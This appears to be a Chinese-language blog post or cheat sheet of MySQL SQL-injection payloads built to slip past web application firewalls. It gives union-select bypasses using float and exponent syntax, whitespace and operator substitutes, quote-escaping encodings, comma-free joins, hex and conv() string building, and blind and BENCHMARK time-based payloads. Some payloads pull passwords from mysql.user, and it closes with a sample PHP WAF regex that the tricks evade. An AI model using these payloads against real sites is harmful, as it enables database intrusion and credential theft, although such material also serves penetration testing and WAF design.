通用的关于sql注入的绕过技巧(利用mysql的特性)

      
  1. select * from users where id = 8E0union select 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 0     这里可以 where id =1 8E0union
  2. select * from users where id = 8.0union select 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 0      这里可以 where id =1 8E0union
  3. select * from users where id = \N union select 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 0      这里不可以可以 where id =1 8E0union<id后有字符、数字,与是否只能显示一行无关><where id =1 and 1=2\Nunion失败>
一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句可以绕过单词边界的判定

原理:
利用了语法分析中浮点击指数后语境结束,然后直接执行后面的语句
  1. where id=.1union/*.1*/select-.1    <select后的第一个查询返回非查询结果>,或者这里1为查询参数<id =.1union/*.1*/select(user),password from mysql.user;>
  2. where id=.1union/*.1*/select!.1
  3. where id=.1union/*.1*/select~.1
  4. where id=.1union/*.1*/select(1)
  5. where id=.1union/*.1*/select`host`from mysql.user
  6. where id=.1union/*.1*/select'1'
  7. where id=.1union/*.1*/select"1"
  8. where id=.1union/*.1*/select@1
Mysql:
  空格,且与符号(and or),单引号',逗号,,双引号",截断符号如:(# -- /*)
  
  空格:
    select * from(user);
  •     select * from`user`;
  •     'and(true)like(false)union(select(pass)from(users))#
  •     'union [all|distinct] select pass from users#
  •     09   Horizontal Tab    <用来替换空格>
  •     0A   New Line
  •     0B   Vertical Tab
  •     0C   New Page
  •     0D   Carriage Return
  •     A0   Non-breaking Space
  •     20   Space
  •     
      且与符号(and or):
    1.     select * from user where host ='localhost' && 0=0 limit 0,1;
    2.     select * from user where host ='localhost' || 1=1 limit 0,1;
    3.     
    4.     20   Space
    5.     2B   +
    6.     2D   -
    7.     7E   ~
    8.     21   !
    9.     40   @
    10.     Example:
    11.       SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
    12.     
    13.      Prefixes (combine arbitrarily): + - ~ !
    14.     ' or --+2=- -!!!'2
    15.      Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
    16.     XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...
    17.     ' or 1 rlike '1
      单引号:
    1.     '-GBK编码%df';'-%2527 UNICODE编码
      逗号:
    1.     UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
    2.     //利用MySQL出错爆出字段
    3.     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
    4.     ERROR 1060 (42S21): Duplicate column name 'Host'
    5.     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
    6.     ERROR 1060 (42S21): Duplicate column name 'User'
    7.     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
    8.     ERROR 1060 (42S21): Duplicate column name 'Password'   
      双引号:
    1.     类同单引号的思路
    2.     
    3.   编码:
    4.     ' or 'a' = n'a # unicode
    5.     ' or 'a' = b'1100001 # binary
    6.     ' or 'a' = x'61 # hexadecimal
    7.     ' and substr(data,1,1) = 0x61# 0x6162
    8.     ' and substr(data,1,1) = unhex(61)# unhex(6162)
    9.     ' and substr(data,1,1) = char(97)# char(97,98)
    10.     String builder (3)
    11.      Previous functions are well known
    12.      My favourite:
    13.     ' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
    14.     ' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
    15.     ' and substr(data,1,1) = lower(conv(36,10,36))# 'z'    
      截断符号:
    1.     常见的:# -- /*
    2.     -- -   SQL comment
    3.     ;%00   Nullbyte
    4.     `   Backtick   
      盲注:
    1.     AND MID(VERSION(),1,1) = '5'
    2.     AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
    3.     ' and substr(data,1,1) = 'a'#
    4.     ' and substring(data,1,1) = 'a'#
    5.     ' and mid(data,1,1) = 'a'#
    6.      All 3 functions work without comma too:
    7.     ' and substr(data from 1 for 1) = 'a'#
    8.     lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
    9.     rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
    10.     left(data,1)
    11.     reverse(right(reverse(data),1))
    12.     insert(insert(version(),1,0,space(0)),2,222,space(0))
    13.      Subselect:
    14.     1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit
    15.     1,1)and'1
    16.     
    17.     Some functions allow to search substrings:
    18.     '-if(locate('f',data),1,0)#
    19.     '-if(locate('fo',data),1,0)#
    20.     '-if(locate('foo',data),1,0)#
    21.     
    22.      Some functions allow to cut substrings:
    23.     length(trim(leading 'a' FROM data)) # length will be shorter
    24.     length(replace(data, 'a', '')) # length will be shorter
    25.     
    26.     Subselect:
    27.     foo'div count(select`pass`from(users)where mid(pass,1,1)rlike
    28.     lower(conv(10,pi()*pi(),pi()*pi())) )-'0
    29.     
    30.     Blind SQL Injection
    31.       Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))   
      延迟:
    1.     ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '       
      Nope:
    1.     false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20
    2.     true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21
    3.     true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22
    4.     floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23
    5.     ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24
    6.     floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25
    7.     ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26
    8.     ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27
    9.     floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28
    10.     floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29
    11.     
    12.     
    13.     conv([10-36],10,36)
    14.     false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
    15.     true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
    16.     true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
    17.     floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
    18.     ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
    19.     floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
    20.     ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
    21.     ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
    22.     floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
    23.     floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

    理解:
    前边界稍微好办点,mysql下可以/*!50000union*/,现在一些waf是检测后面边界selectxxxx,判断xxxx这个边界,比如WAF检测到“|union.*select\b|is”就拦截。selectxxx,xxx要是字母、数字才能不匹配上,否则还是会拦截。
            
    1. <? php
    2. $str = $_REQUEST [ 'str' ];
    3. $re = preg_match ( '|union.*select\b|is' , $str );
    4. var_dump ( $re );
    5. ?>